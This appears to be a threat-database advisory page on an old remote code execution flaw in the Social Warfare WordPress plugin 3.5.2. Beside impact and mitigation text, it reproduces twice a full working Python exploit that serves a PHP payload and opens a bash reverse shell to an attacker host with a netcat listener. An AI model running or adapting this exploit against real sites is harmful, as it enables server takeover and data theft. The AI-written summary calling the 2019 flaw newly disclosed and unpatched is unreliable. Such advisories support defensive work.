Social Warfare WordPress Plugin 3.5.2 - Remote Code Execution (RCE)
Social Warfare WordPress Plugin 3.5.2 - Remote Code Execution (RCE)
AI Analysis
Technical Summary
The Social Warfare WordPress Plugin version 3.5.2 contains a critical Remote Code Execution (RCE) vulnerability. This flaw allows an attacker to execute arbitrary code on the server hosting the vulnerable WordPress plugin. RCE vulnerabilities are among the most severe types of security issues because they can lead to full system compromise, data theft, or the deployment of persistent malware. The vulnerability likely arises from improper input validation or insecure handling of user-supplied data within the plugin's codebase, enabling attackers to inject and execute malicious commands remotely. The presence of exploit code written in Python indicates that the vulnerability can be exploited programmatically, potentially allowing automated attacks against unpatched systems. Although no specific affected versions are listed, the mention of version 3.5.2 suggests that this version is vulnerable. No official patch links are provided, which may imply that a fix is not yet publicly available or that users must rely on vendor advisories. The exploit does not require user interaction beyond sending crafted requests, and no authentication is needed, increasing the risk of widespread exploitation. The lack of known exploits in the wild suggests that the vulnerability is newly disclosed or not yet actively exploited, but the availability of exploit code could accelerate attack attempts.
Potential Impact
For European organizations, this RCE vulnerability poses a significant threat, especially those relying on WordPress for their websites and using the Social Warfare plugin for social media integration. Successful exploitation could lead to unauthorized access to sensitive data, defacement of websites, disruption of services, or use of compromised servers as a foothold for lateral movement within corporate networks. Given the critical nature of the vulnerability, attackers could deploy ransomware, steal customer information, or conduct espionage. The impact is heightened for sectors such as finance, healthcare, government, and e-commerce, where data confidentiality and service availability are paramount. Additionally, compromised websites can damage brand reputation and lead to regulatory penalties under GDPR if personal data is exposed. The lack of patches and the availability of exploit code increase the urgency for European organizations to assess and mitigate this risk promptly.
Mitigation Recommendations
European organizations should immediately audit their WordPress installations to identify the presence of the Social Warfare plugin, specifically version 3.5.2 or any unpatched versions. If found, they should disable or remove the plugin until a security patch is released. In the absence of official patches, organizations can implement Web Application Firewall (WAF) rules to detect and block suspicious requests targeting the plugin's endpoints. Monitoring web server logs for unusual activity related to the plugin can help identify attempted exploits. Organizations should also ensure that their WordPress core, themes, and other plugins are up to date to reduce the attack surface. Network segmentation and least privilege principles should be enforced to limit the impact of any potential compromise. Regular backups and incident response plans should be reviewed and tested to enable rapid recovery. Finally, organizations should subscribe to vendor advisories and security feeds to apply patches as soon as they become available.
Affected Countries
Germany, France, United Kingdom, Italy, Spain, Netherlands, Poland, Sweden, Belgium, Austria
Indicators of Compromise
- exploit-code: #!/usr/bin/env python3 # Exploit Title: Social Warfare WordPress Plugin 3.5.2 - Remote Code Execution (RCE) # Date: 25-06-2025 # Exploit Author: Huseyin Mardini (@housma) # Original Researcher: Luka Sikic # Original Exploit Author: hash3liZer # Vendor Homepage: https://wordpress.org/plugins/social-warfare/ # Software Link: https://downloads.wordpress.org/plugin/social-warfare.3.5.2.zip # Version: <= 3.5.2 # CVE: CVE-2019-9978 # Tested On: WordPress 5.1.1 with Social Warfare 3.5.2 (on Ubuntu 20.04) # Python Version: Python 3.x # Reference: https://www.exploit-db.com/exploits/46794 # Github (original PoC): https://github.com/hash3liZer/CVE-2019-9978 # The currently listed exploit for *CVE-2019-9978* (Exploit ID 46794<https://www.exploit-db.com/exploits/46794>) appears to no longer work as intended in many modern environments # Usage: # 1. Edit the config section below and replace `ATTACKER_IP` with your machine's IP. # 2. Run the script: `python3 exploit.py` # 3. It will: # - Create a PHP payload and save it as `payload.txt` (or any filename you set in PAYLOAD_FILE) # - Start an HTTP server on `HTTP_PORT` to host the payload # - Start a Netcat listener on `LISTEN_PORT` # - Trigger the vulnerability via the vulnerable `swp_debug` parameter # 4. On success, you get a reverse shell as `www-data`. # # Note: # - PAYLOAD_FILE defines only the name of the file to be created and served. # - Make sure ports 8001 and 4444 are open and not in use. import requests import threading import http.server import socketserver import os import subprocess import time # --- Config --- TARGET_URL = "http://example.com" ATTACKER_IP = "xxx.xxx.xx.xx" # Change to your attack box IP HTTP_PORT = 8000 LISTEN_PORT = 4444 PAYLOAD_FILE = "payload.txt" def create_payload(): """Write exact reverse shell payload using valid PHP syntax""" payload = f'<pre>system("bash -c \\"bash -i >& /dev/tcp/{ATTACKER_IP}/{LISTEN_PORT} 0>&1\\"")</pre>' with open(PAYLOAD_FILE, "w") as f: f.write(payload) print(f"[+] Payload written to {PAYLOAD_FILE}") def start_http_server(): """Serve payload over HTTP""" handler = http.server.SimpleHTTPRequestHandler with socketserver.TCPServer(("", HTTP_PORT), handler) as httpd: print(f"[+] HTTP server running at port {HTTP_PORT}") httpd.serve_forever() def start_listener(): """Start Netcat listener""" print(f"[+] Listening on port {LISTEN_PORT} for reverse shell...") subprocess.call(["nc", "-lvnp", str(LISTEN_PORT)]) def send_exploit(): """Trigger the exploit with vulnerable parameter""" payload_url = f"http://{ATTACKER_IP}:{HTTP_PORT}/{PAYLOAD_FILE}" exploit = f"{TARGET_URL}/wp-admin/admin-post.php?swp_debug=load_options&swp_url={payload_url}" print(f"[+] Sending exploit: {exploit}") try: requests.get(exploit, timeout=5) except requests.exceptions.RequestException: pass def main(): create_payload() # Start web server in background http_thread = threading.Thread(target=start_http_server, daemon=True) http_thread.start() time.sleep(2) # Give server time to start # Start listener in background listener_thread = threading.Thread(target=start_listener) listener_thread.start() time.sleep(1) # Send the malicious request send_exploit() if __name__ == "__main__": try: main() except KeyboardInterrupt: print("[-] Interrupted by user.")
Social Warfare WordPress Plugin 3.5.2 - Remote Code Execution (RCE)
Description
Social Warfare WordPress Plugin 3.5.2 - Remote Code Execution (RCE)
AI-Powered Analysis
Technical Analysis
The Social Warfare WordPress Plugin version 3.5.2 contains a critical Remote Code Execution (RCE) vulnerability. This flaw allows an attacker to execute arbitrary code on the server hosting the vulnerable WordPress plugin. RCE vulnerabilities are among the most severe types of security issues because they can lead to full system compromise, data theft, or the deployment of persistent malware. The vulnerability likely arises from improper input validation or insecure handling of user-supplied data within the plugin's codebase, enabling attackers to inject and execute malicious commands remotely. The presence of exploit code written in Python indicates that the vulnerability can be exploited programmatically, potentially allowing automated attacks against unpatched systems. Although no specific affected versions are listed, the mention of version 3.5.2 suggests that this version is vulnerable. No official patch links are provided, which may imply that a fix is not yet publicly available or that users must rely on vendor advisories. The exploit does not require user interaction beyond sending crafted requests, and no authentication is needed, increasing the risk of widespread exploitation. The lack of known exploits in the wild suggests that the vulnerability is newly disclosed or not yet actively exploited, but the availability of exploit code could accelerate attack attempts.
Potential Impact
For European organizations, this RCE vulnerability poses a significant threat, especially those relying on WordPress for their websites and using the Social Warfare plugin for social media integration. Successful exploitation could lead to unauthorized access to sensitive data, defacement of websites, disruption of services, or use of compromised servers as a foothold for lateral movement within corporate networks. Given the critical nature of the vulnerability, attackers could deploy ransomware, steal customer information, or conduct espionage. The impact is heightened for sectors such as finance, healthcare, government, and e-commerce, where data confidentiality and service availability are paramount. Additionally, compromised websites can damage brand reputation and lead to regulatory penalties under GDPR if personal data is exposed. The lack of patches and the availability of exploit code increase the urgency for European organizations to assess and mitigate this risk promptly.
Mitigation Recommendations
European organizations should immediately audit their WordPress installations to identify the presence of the Social Warfare plugin, specifically version 3.5.2 or any unpatched versions. If found, they should disable or remove the plugin until a security patch is released. In the absence of official patches, organizations can implement Web Application Firewall (WAF) rules to detect and block suspicious requests targeting the plugin's endpoints. Monitoring web server logs for unusual activity related to the plugin can help identify attempted exploits. Organizations should also ensure that their WordPress core, themes, and other plugins are up to date to reduce the attack surface. Network segmentation and least privilege principles should be enforced to limit the impact of any potential compromise. Regular backups and incident response plans should be reviewed and tested to enable rapid recovery. Finally, organizations should subscribe to vendor advisories and security feeds to apply patches as soon as they become available.
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Technical Details
- Edb Id
- 52346
- Has Exploit Code
- true
- Code Language
- python
Indicators of Compromise
Exploit Source Code
Exploit code for Social Warfare WordPress Plugin 3.5.2 - Remote Code Execution (RCE)
#!/usr/bin/env python3 # Exploit Title: Social Warfare WordPress Plugin 3.5.2 - Remote Code Execution (RCE) # Date: 25-06-2025 # Exploit Author: Huseyin Mardini (@housma) # Original Researcher: Luka Sikic # Original Exploit Author: hash3liZer # Vendor Homepage: https://wordpress.org/plugins/social-warfare/ # Software Link: https://downloads.wordpress.org/plugin/social-warfare.3.5.2.zip # Version: <= 3.5.2 # CVE: CVE-2019-9978 # Tested On: WordPress 5.1.1 with Social Warfare 3.5.2 (on Ubuntu 20.
... (2998 more characters)
Threat ID: 685e4315ca1063fb8755ec34
Added to database: 6/27/2025, 7:07:01 AM
Last enriched: 7/16/2025, 9:23:34 PM
Last updated: 8/17/2025, 3:54:48 PM
Views: 29
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